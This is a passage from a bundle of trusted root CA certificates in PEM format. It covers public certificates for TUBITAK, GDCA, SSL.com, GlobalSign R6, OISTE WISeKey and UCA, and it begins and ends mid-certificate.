IEFyYXN0aXJtYSBLdXJ1bXUgLSBUVUJJVEFLMS0wKwYDVQQLEyRLYW11IFNlcnRpZmlrYXN5b24g
TWVya2V6aSAtIEthbXUgU00xNjA0BgNVBAMTLVRVQklUQUsgS2FtdSBTTSBTU0wgS29rIFNlcnRp
ZmlrYXNpIC0gU3VydW0gMTAeFw0xMzExMjUwODI1NTVaFw00MzEwMjUwODI1NTVaMIHSMQswCQYD
VQQGEwJUUjEYMBYGA1UEBxMPR2ViemUgLSBLb2NhZWxpMUIwQAYDVQQKEzlUdXJraXllIEJpbGlt
c2VsIHZlIFRla25vbG9qaWsgQXJhc3Rpcm1hIEt1cnVtdSAtIFRVQklUQUsxLTArBgNVBAsTJEth
bXUgU2VydGlmaWthc3lvbiBNZXJrZXppIC0gS2FtdSBTTTE2MDQGA1UEAxMtVFVCSVRBSyBLYW11
IFNNIFNTTCBLb2sgU2VydGlmaWthc2kgLSBTdXJ1bSAxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAr3UwM6q7a9OZLBI3hNmNe5eA027n/5tQlT6QlVZC1xl8JoSNkvoBHToP4mQ4t4y8
6Ij5iySrLqP1N+RAjhgleYN1Hzv/bKjFxlb4tO2KRKOrbEz8HdDc72i9z+SqzvBV96I01INrN3wc
wv61A+xXzry0tcXtAA9TNypN9E8Mg/uGz8v+jE69h/mniyFXnHrfA2eJLJ2XYacQuFWQfw4tJzh0
3+f92k4S400VIgLI4OD8D62K18lUUMw7D8oWgITQUVbDjlZ/iSIzL+aFCr2lqBs23tPcLG07xxO9
WSMs5uWk99gL7eqQQESolbuT1dCANLZGeA4fAJNG4e7p+exPFwIDAQABo0IwQDAdBgNVHQ4EFgQU
ZT/HiobGPN08VFw1+DrtUgxHV8gwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJ
KoZIhvcNAQELBQADggEBACo/4fEyjq7hmFxLXs9rHmoJ0iKpEsdeV31zVmSAhHqT5Am5EM2fKifh
AHe+SMg1qIGf5LgsyX8OsNJLN13qudULXjS99HMpw+0mFZx+CFOKWI3QSyjfwbPfIPP54+M638yc
lNhOT8NrF7f3cuitZjO1JVOr4PhMqZ398g26rrnZqsZr+ZO7rqu4lzwDGrpDxpa5RXI4s6ehlj2R
e37AIVNMh+3yC1SVUZPVIqUNivGTDj5UDrDYyU7c8jEyVupk+eq1nRZmQnLzf9OxMUP8pI4X8W0j
q5Rm+K37DwhuJi1/FwcJsoz7UMCflo3Ptv0AnVoUmr8CRPXBwp8iXqIPoeM=
-----END CERTIFICATE-----

GDCA TrustAUTH R5 ROOT
======================
-----BEGIN CERTIFICATE-----
MIIFiDCCA3CgAwIBAgIIfQmX/vBH6nowDQYJKoZIhvcNAQELBQAwYjELMAkGA1UEBhMCQ04xMjAw
BgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZIENPLixMVEQuMR8wHQYDVQQD
DBZHRENBIFRydXN0QVVUSCBSNSBST09UMB4XDTE0MTEyNjA1MTMxNVoXDTQwMTIzMTE1NTk1OVow
YjELMAkGA1UEBhMCQ04xMjAwBgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZ
IENPLixMVEQuMR8wHQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMIICIjANBgkqhkiG9w0B
AQEFAAOCAg8AMIICCgKCAgEA2aMW8Mh0dHeb7zMNOwZ+Vfy1YI92hhJCfVZmPoiC7XJjDp6L3TQs
AlFRwxn9WVSEyfFrs0yw6ehGXTjGoqcuEVe6ghWinI9tsJlKCvLriXBjTnnEt1u9ol2x8kECK62p
OqPseQrsXzrj/e+APK00mxqriCZ7VqKChh/rNYmDf1+uKU49tm7srsHwJ5uu4/Ts765/94Y9cnrr
pftZTqfrlYwiOXnhLQiPzLyRuEH3FMEjqcOtmkVEs7LXLM3GKeJQEK5cy4KOFxg2fZfmiJqwTTQJ
9Cy5WmYqsBebnh52nUpmMUHfP/vFBu8btn4aRjb3ZGM74zkYI+dndRTVdVeSN72+ahsmUPI2JgaQ
xXABZG12ZuGR224HwGGALrIuL4xwp9E7PLOR5G62xDtw8mySlwnNR30YwPO7ng/Wi64HtloPzgsM
R6flPri9fcebNaBhlzpBdRfMK5Z3KpIhHtmVdiBnaM8Nvd/WHwlqmuLMc3GkL30SgLdTMEZeS1SZ
D2fJpcjyIMGC7J0R38IC+xo70e0gmu9lZJIQDSri3nDxGGeCjGHeuLzRL5z7D9Ar7Rt2ueQ5Vfj4
oR24qoAATILnsn8JuLwwoC8N9VKejveSswoAHQBUlwbgsQfZxw9cZX08bVlX5O2ljelAU58VS6Bx
9hoh49pwBiFYFIeFd3mqgnkCAwEAAaNCMEAwHQYDVR0OBBYEFOLJQJ9NzuiaoXzPDj9lxSmIahlR
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQDRSVfg
p8xoWLoBDysZzY2wYUWsEe1jUGn4H3++Fo/9nesLqjJHdtJnJO29fDMylyrHBYZmDRd9FBUb1Ov9
H5r2XpdptxolpAqzkT9fNqyL7FeoPueBihhXOYV0GkLH6VsTX4/5COmSdI31R9KrO9b7eGZONn35
6ZLpBN79SWP8bfsUcZNnL0dKt7n/HipzcEYwv1ryL3ml4Y0M2fmyYzeMN2WFcGpcWwlyua1jPLHd
+PwyvzeG5LuOmCd+uh8W4XAR8gPfJWIyJyYYMoSf/wA6E7qaTfRPuBRwIrHKK5DOKcFw9C+df/KQ
HtZa37dG/OaG+svgIHZ6uqbL9XzeYqWxi+7egmaKTjowHz+Ay60nugxe19CxVsp3cbK1daFQqUBD
F8Io2c9Si1vIY9RCPqAzekYu9wogRlR+ak8x8YF+QnQ4ZXMn7sZ8uI7XpTrXmKGcjBBV09tL7ECQ
8s1uV9JiDnxXk7Gnbc2dg7sq5+W2O3FYrf3RRbxake5TFW/TRQl1brqQXR4EzzffHqhmsYzmIGrv
/EhOdJhCrylvLmrH+33RZjEizIYAfmaDDEL0vTSSwxrqT8p+ck0LcIymSLumoRT2+1hEmRSuqguT
aaApJUqlyyvdimYHFngVV3Eb7PVHhPOeMTd61X8kreS8/f3MboPoDKi3QWwH3b08hpcv0g==
-----END CERTIFICATE-----

SSL.com Root Certification Authority RSA
========================================
-----BEGIN CERTIFICATE-----
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
WuuA8ShYIc2wBlX7Jz9TkHCpBB5XJ7k=
-----END CERTIFICATE-----

SSL.com Root Certification Authority ECC
========================================
-----BEGIN CERTIFICATE-----
MIICjTCCAhSgAwIBAgIIdebfy8FoW6gwCgYIKoZIzj0EAwIwfDELMAkGA1UEBhMCVVMxDjAMBgNV
BAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24xMTAv
BgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYwMjEy
MTgxNDAzWhcNNDEwMjEyMTgxNDAzWjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAO
BgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NMLmNv
bSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuBBAAiA2IA
BEVuqVDEpiM2nl8ojRfLliJkP9x6jh3MCLOicSS6jkm5BBtHllirLZXI7Z4INcgn64mMU1jrYor+
8FsPazFSY0E7ic3s7LaNGdM0B9y7xgZ/wkWV7Mt/qCPgCemB+vNH06NjMGEwHQYDVR0OBBYEFILR
hXMw5zUE044CkvvlpNHEIejNMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUgtGFczDnNQTT
jgKS++Wk0cQh6M0wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2cAMGQCMG/n61kRpGDPYbCW
e+0F+S8Tkdzt5fxQaxFGRrMcIQBiu77D5+jNB5n5DQtdcj7EqgIwH7y6C+IwJPt8bYBVCpk+gA0z
5Wajs6O7pdWLjwkspl1+4vAHCGht0nxpbl/f5Wpl
-----END CERTIFICATE-----

SSL.com EV Root Certification Authority RSA R2
==============================================
-----BEGIN CERTIFICATE-----
MIIF6zCCA9OgAwIBAgIIVrYpzTS8ePYwDQYJKoZIhvcNAQELBQAwgYIxCzAJBgNVBAYTAlVTMQ4w
DAYDVQQIDAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9u
MTcwNQYDVQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIy
MB4XDTE3MDUzMTE4MTQzN1oXDTQyMDUzMDE4MTQzN1owgYIxCzAJBgNVBAYTAlVTMQ4wDAYDVQQI
DAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMTcwNQYD
VQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIyMIICIjAN
BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAjzZlQOHWTcDXtOlG2mvqM0fNTPl9fb69LT3w23jh
hqXZuglXaO1XPqDQCEGD5yhBJB/jchXQARr7XnAjssufOePPxU7Gkm0mxnu7s9onnQqG6YE3Bf7w
cXHswxzpY6IXFJ3vG2fThVUCAtZJycxa4bH3bzKfydQ7iEGonL3Lq9ttewkfokxykNorCPzPPFTO
Zw+oz12WGQvE43LrrdF9HSfvkusQv1vrO6/PgN3B0pYEW3p+pKk8OHakYo6gOV7qd89dAFmPZiw+
B6KjBSYRaZfqhbcPlgtLyEDhULouisv3D5oi53+aNxPN8k0TayHRwMwi8qFG9kRpnMphNQcAb9Zh
CBHqurj26bNg5U257J8UZslXWNvNh2n4ioYSA0e/ZhN2rHd9NCSFg83XqpyQGp8hLH94t2S42Oim
9HizVcuE0jLEeK6jj2HdzghTreyI/BXkmg3mnxp3zkyPuBQVPWKchjgGAGYS5Fl2WlPAApiiECto
RHuOec4zSnaqW4EWG7WK2NAAe15itAnWhmMOpgWVSbooi4iTsjQc2KRVbrcc0N6ZVTsj9CLg+Slm
JuwgUHfbSguPvuUCYHBBXtSuUDkiFCbLsjtzdFVHB3mBOagwE0TlBIqulhMlQg+5U8Sb/M3kHN48
+qvWBkofZ6aYMBzdLNvcGJVXZsb/XItW9XcCAwEAAaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNV
HSMEGDAWgBT5YLvU49U09rj1BoAlp3PbRmmonjAdBgNVHQ4EFgQU+WC71OPVNPa49QaAJadz20Zp
qJ4wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBWs47LCp1Jjr+kxJG7ZhcFUZh1
++VQLHqe8RT6q9OKPv+RKY9ji9i0qVQBDb6Thi/5Sm3HXvVX+cpVHBK+Rw82xd9qt9t1wkclf7nx
Y/hoLVUE0fKNsKTPvDxeH3jnpaAgcLAExbf3cqfeIg29MyVGjGSSJuM+LmOW2puMPfgYCdcDzH2G
guDKBAdRUNf/ktUM79qGn5nX67evaOI5JpS6aLe/g9Pqemc9YmeuJeVy6OLk7K4S9ksrPJ/psEDz
OFSz/bdoyNrGj1E8svuR3Bznm53htw1yj+KkxKl4+esUrMZDBcJlOSgYAsOCsp0FvmXtll9ldDz7
CTUue5wT/RsPXcdtgTpWD8w74a8CLyKsRspGPKAcTNZEtF4uXBVmCeEmKf7GUmG6sXP/wwyc5Wxq
lD8UykAWlYTzWamsX0xhk23RO8yilQwipmdnRC652dKKQbNmC1r7fSOl8hqw/96bg5Qu0T/fkreR
rwU7ZcegbLHNYhLDkBvjJc40vG93drEQw/cFGsDWr3RiSBd3kmmQYRzelYB0VI8YHMPzA9C/pEN1
hlMYegouCRw2n5H9gooiS9EOUCXdywMMF8mDAAhONU2Ki+3wApRmLER/y5UnlhetCTCstnEXbosX
9hwJ1C07mKVx01QT2WDz9UtmT/rx7iASjbSsV7FFY6GsdqnC+w==
-----END CERTIFICATE-----

SSL.com EV Root Certification Authority ECC
===========================================
-----BEGIN CERTIFICATE-----
MIIClDCCAhqgAwIBAgIILCmcWxbtBZUwCgYIKoZIzj0EAwIwfzELMAkGA1UEBhMCVVMxDjAMBgNV
BAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24xNDAy
BgNVBAMMK1NTTC5jb20gRVYgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYw
MjEyMTgxNTIzWhcNNDEwMjEyMTgxNTIzWjB/MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMx
EDAOBgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjE0MDIGA1UEAwwrU1NM
LmNvbSBFViBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuB
BAAiA2IABKoSR5CYG/vvw0AHgyBO8TCCogbR8pKGYfL2IWjKAMTH6kMAVIbc/R/fALhBYlzccBYy
3h+Z1MzFB8gIH2EWB1E9fVwHU+M1OIzfzZ/ZLg1KthkuWnBaBu2+8KGwytAJKaNjMGEwHQYDVR0O
BBYEFFvKXuXe0oGqzagtZFG22XKbl+ZPMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUW8pe
5d7SgarNqC1kUbbZcpuX5k8wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2gAMGUCMQCK5kCJ
N+vp1RPZytRrJPOwPYdGWBrssd9v+1a6cGvHOMzosYxPD/fxZ3YOg9AeUY8CMD32IygmTMZgh5Mm
m7I1HrrW9zzRHM76JTymGoEVW/MSD2zuZYrJh6j5B+BimoxcSg==
-----END CERTIFICATE-----

GlobalSign Root CA - R6
=======================
-----BEGIN CERTIFICATE-----
MIIFgzCCA2ugAwIBAgIORea7A4Mzw4VlSOb/RVEwDQYJKoZIhvcNAQEMBQAwTDEgMB4GA1UECxMX
R2xvYmFsU2lnbiBSb290IENBIC0gUjYxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds
b2JhbFNpZ24wHhcNMTQxMjEwMDAwMDAwWhcNMzQxMjEwMDAwMDAwWjBMMSAwHgYDVQQLExdHbG9i
YWxTaWduIFJvb3QgQ0EgLSBSNjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFs
U2lnbjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJUH6HPKZvnsFMp7PPcNCPG0RQss
grRIxutbPK6DuEGSMxSkb3/pKszGsIhrxbaJ0cay/xTOURQh7ErdG1rG1ofuTToVBu1kZguSgMpE
3nOUTvOniX9PeGMIyBJQbUJmL025eShNUhqKGoC3GYEOfsSKvGRMIRxDaNc9PIrFsmbVkJq3MQbF
vuJtMgamHvm566qjuL++gmNQ0PAYid/kD3n16qIfKtJwLnvnvJO7bVPiSHyMEAc4/2ayd2F+4OqM
PKq0pPbzlUoSB239jLKJz9CgYXfIWHSw1CM69106yqLbnQneXUQtkPGBzVeS+n68UARjNN9rkxi+
azayOeSsJDa38O+2HBNXk7besvjihbdzorg1qkXy4J02oW9UivFyVm4uiMVRQkQVlO6jxTiWm05O
WgtH8wY2SXcwvHE35absIQh1/OZhFj931dmRl4QKbNQCTXTAFO39OfuD8l4UoQSwC+n+7o/hbguy
CLNhZglqsQY6ZZZZwPA1/cnaKI0aEYdwgQqomnUdnjqGBQCe24DWJfncBZ4nWUx2OVvq+aWh2IMP
0f/fMBH5hc8zSPXKbWQULHpYT9NLCEnFlWQaYw55PfWzjMpYrZxCRXluDocZXFSxZba/jJvcE+kN
b7gu3GduyYsRtYQUigAZcIN5kZeR1BonvzceMgfYFGM8KEyvAgMBAAGjYzBhMA4GA1UdDwEB/wQE
AwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSubAWjkxPioufi1xzWx/B/yGdToDAfBgNV
HSMEGDAWgBSubAWjkxPioufi1xzWx/B/yGdToDANBgkqhkiG9w0BAQwFAAOCAgEAgyXt6NH9lVLN
nsAEoJFp5lzQhN7craJP6Ed41mWYqVuoPId8AorRbrcWc+ZfwFSY1XS+wc3iEZGtIxg93eFyRJa0
lV7Ae46ZeBZDE1ZXs6KzO7V33EByrKPrmzU+sQghoefEQzd5Mr6155wsTLxDKZmOMNOsIeDjHfrY
BzN2VAAiKrlNIC5waNrlU/yDXNOd8v9EDERm8tLjvUYAGm0CuiVdjaExUd1URhxN25mW7xocBFym
Fe944Hn+Xds+qkxV/ZoVqW/hpvvfcDDpw+5CRu3CkwWJ+n1jez/QcYF8AOiYrg54NMMl+68KnyBr
3TsTjxKM4kEaSHpzoHdpx7Zcf4LIHv5YGygrqGytXm3ABdJ7t+uA/iU3/gKbaKxCXcPu9czc8FB1
0jZpnOZ7BN9uBmm23goJSFmH63sUYHpkqmlD75HHTOwY3WzvUy2MmeFe8nI+z1TIvWfspA9MRf/T
uTAjB0yPEL+GltmZWrSZVxykzLsViVO6LAUP5MSeGbEYNNVMnbrt9x+vJJUEeKgDu+6B5dpffItK
oZB0JaezPkvILFa9x8jvOOJckvB595yEunQtYQEgfn7R8k8HWV+LLUNS60YMlOH1Zkd5d9VUWx+t
JDfLRVpOoERIyNiwmcUVhAn21klJwGW45hpxbqCo8YLoRT5s1gLXCmeDBVrJpBA=
-----END CERTIFICATE-----

OISTE WISeKey Global Root GC CA
===============================
-----BEGIN CERTIFICATE-----
MIICaTCCAe+gAwIBAgIQISpWDK7aDKtARb8roi066jAKBggqhkjOPQQDAzBtMQswCQYDVQQGEwJD
SDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNlZDEo
MCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQyBDQTAeFw0xNzA1MDkwOTQ4MzRa
Fw00MjA1MDkwOTU4MzNaMG0xCzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYDVQQL
ExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEdsb2Jh
bCBSb290IEdDIENBMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAETOlQwMYPchi82PG6s4nieUqjFqdr
VCTbUf/q9Akkwwsin8tqJ4KBDdLArzHkdIJuyiXZjHWd8dvQmqJLIX4Wp2OQ0jnUsYd4XxiWD1Ab
NTcPasbc2RNNpI6QN+a9WzGRo1QwUjAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd
BgNVHQ4EFgQUSIcUrOPDnpBgOtfKie7TrYy0UGYwEAYJKwYBBAGCNxUBBAMCAQAwCgYIKoZIzj0E
AwMDaAAwZQIwJsdpW9zV57LnyAyMjMPdeYwbY9XJUpROTYJKcx6ygISpJcBMWm1JKWB4E+J+SOtk
AjEA2zQgMgj/mkkCtojeFK9dbJlxjRo/i9fgojaGHAeCOnZT/cKi7e97sIBPWA9LUzm9
-----END CERTIFICATE-----

UCA Global G2 Root
==================
-----BEGIN CERTIFICATE-----
MIIFRjCCAy6gAwIBAgIQXd+x2lqj7V2+WmUgZQOQ7zANBgkqhkiG9w0BAQsFADA9MQswCQYDVQQG
EwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxGzAZBgNVBAMMElVDQSBHbG9iYWwgRzIgUm9vdDAeFw0x
NjAzMTEwMDAwMDBaFw00MDEyMzEwMDAwMDBaMD0xCzAJBgNVBAYTAkNOMREwDwYDVQQKDAhVbmlU
cnVzdDEbMBkGA1UEAwwSVUNBIEdsb2JhbCBHMiBSb290MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
MIICCgKCAgEAxeYrb3zvJgUno4Ek2m/LAfmZmqkywiKHYUGRO8vDaBsGxUypK8FnFyIdK+35KYmT
oni9kmugow2ifsqTs6bRjDXVdfkX9s9FxeV67HeToI8jrg4aA3++1NDtLnurRiNb/yzmVHqUwCoV
8MmNsHo7JOHXaOIxPAYzRrZUEaalLyJUKlgNAQLx+hVRZ2zA+te2G3/RVogvGjqNO7uCEeBHANBS
h6v7hn4PJGtAnTRnvI3HLYZveT6OqTwXS3+wmeOwcWDcC/Vkw85DvG1xudLeJ1uK6NjGruFZfc8o
LTW4lVYa8bJYS7cSN8h8s+1LgOGN+jIjtm+3SJUIsUROhYw6AlQgL9+/V087OpAh18EmNVQg7Mc/
R+zvWr9LesGtOxdQXGLYD0tK3Cv6brxzks3sx1DoQZbXqX5t2Okdj4q1uViSukqSKwxW/YDrCPBe
KW4bHAyvj5OJrdu9o54hyokZ7N+1wxrrFv54NkzWbtA+FxyQF2smuvt6L78RHBgOLXMDj6DlNaBa
4kx1HXHhOThTeEDMg5PXCp6dW4+K5OXgSORIskfNTip1KnvyIvbJvgmRlld6iIis7nCs+dwp4wwc
OxJORNanTrAmyPPZGpeRaOrvjUYG0lZFWJo8DA+DuAUlwznPO6Q0ibd5Ei9Hxeepl2n8pndntd97
8XplFeRhVmUCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O
BBYEFIHEjMz15DD/pQwIX4wVZyF0Ad/fMA0GCSqGSIb3DQEBCwUAA4ICAQATZSL1jiutROTL/7lo
5sOASD0Ee/ojL3rtNtqyzm325p7lX1iPyzcyochltq44PTUbPrw7tgTQvPlJ9Zv3hcU2tsu8+Mg5
1eRfB70VVJd0ysrtT7q6ZHafgbiERUlMjW+i67HM0cOU2kTC5uLqGOiiHycFutfl1qnN3e92mI0A
Ds0b+gO3joBYDic/UvuUospeZcnWhNq5NXHzJsBPd+aBJ9J3O5oUb3n09tDh05S60FdRvScFDcH9
yBIw7m+NESsIndTUv4BFFJqIRNow6rSn4+7vW4LVPtateJLbXDzz2K36uGt/xDYotgIVilQsnLAX
c47QN6MUPJiVAAwpBVueSUmxX8fjy88nZY41F7dXyDDZQVu5FLbowg+UMaeUmMxq67XhJ/UQqAHo
jhJi6IjMtX9Gl8CbEGY4GjZGXyJoPd/JxhMnq1MGrKI8hgZlb7F+sSlEmqO6SWkoaY/X5V+tBIZk
bxqgDMUIYs6Ao9Dz7GjevjPHF1t/gMRMTLGmhIrDO7gJzRSBuhjjVFc2/tsvfEehOjPI+Vg7RE+x
ygKJBJYoaMVLuCaJu9YzL1DV/pqJuhgyklTGW+Cd+V7lDSKb9triyCGyYiGqhkCyLmTTX8jjfhFn
RR8F/uOi77Oos/N9j/gMHyIfLXC0uAE0djAA5SN4p1bXUB+K+wb1whnw0A==
-----END CERTIFICATE-----

UCA Extended Validation Root
============================
-----BEGIN CERTIFICATE-----
MIIFWjCCA0KgAwIBAgIQT9Irj/VkyDOeTzRYZiNwYDANBgkqhkiG9w0BAQsFADBHMQswCQYDVQQG
EwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9u
IFJvb3QwHhcNMTUwMzEzMDAwMDAwWhcNMzgxMjMxMDAwMDAwWjBHMQswCQYDVQQGEwJDTjERMA8G
A1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9uIFJvb3QwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCpCQcoEwKwmeBkqh5DFnpzsZGgdT6o+uM4AHrs
iWogD4vFsJszA1qGxliG1cGFu0/GnEBNyr7uaZa4rYEwmnySBesFK5pI0Lh2PpbIILvSsPGP2KxF
Rv+qZ2C0d35qHzwaUnoEPQc8hQ2E0B92CvdqFN9y4zR8V05WAT558aopO2z6+I9tTcg1367r3CTu
eUWnhbYFiN6IXSV8l2RnCdm/WhUFhvMJHuxYMjMR83dksHYf5BA1FxvyDrFspCqjc/wJHx4yGVMR
59mzLC52LqGj3n5qiAno8geK+LLNEOfic0CTuwjRP+H8C5SzJe98ptfRr5//lpr1kXuYC3fUfugH
0mK1lTnj8/FtDw5lhIpjVMWAtuCeS31HJqcBCF3RiJ7XwzJE+oJKCmhUfzhTA8ykADNkUVkLo4KR
el7sFsLzKuZi2irbWWIQJUoqgQtHB0MGcIfS+pMRKXpITeuUx3BNr2fVUbGAIAEBtHoIppB/TuDv
B0GHr2qlXov7z1CymlSvw4m6WC31MJixNnI5fkkE/SmnTHnkBVfblLkWU41Gsx2VYVdWf6/wFlth
WG82UBEL2KwrlRYaDh8IzTY0ZRBiZtWAXxQgXy0MoHgKaNYs1+lvK9JKBZP8nm9rZ/+I8U6laUpS
NwXqxhaN0sSZ0YIrO7o1dfdRUVjzyAfd5LQDfwIDAQABo0IwQDAdBgNVHQ4EFgQU2XQ65DA9DfcS
3H5aBZ8eNJr34RQwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAYYwDQYJKoZIhvcNAQEL
BQADggIBADaNl8xCFWQpN5smLNb7rhVpLGsaGvdftvkHTFnq88nIua7Mui563MD1sC3AO6+fcAUR
ap8lTwEpcOPlDOHqWnzcSbvBHiqB9RZLcpHIojG5qtr8nR/zXUACE/xOHAbKsxSQVBcZEhrxH9cM
aVr2cXj0lH2RC47skFSOvG+hTKv8dGT9cZr4QQehzZHkPJrgmzI5c6sq1WnIeJEmMX3ixzDx/BR4
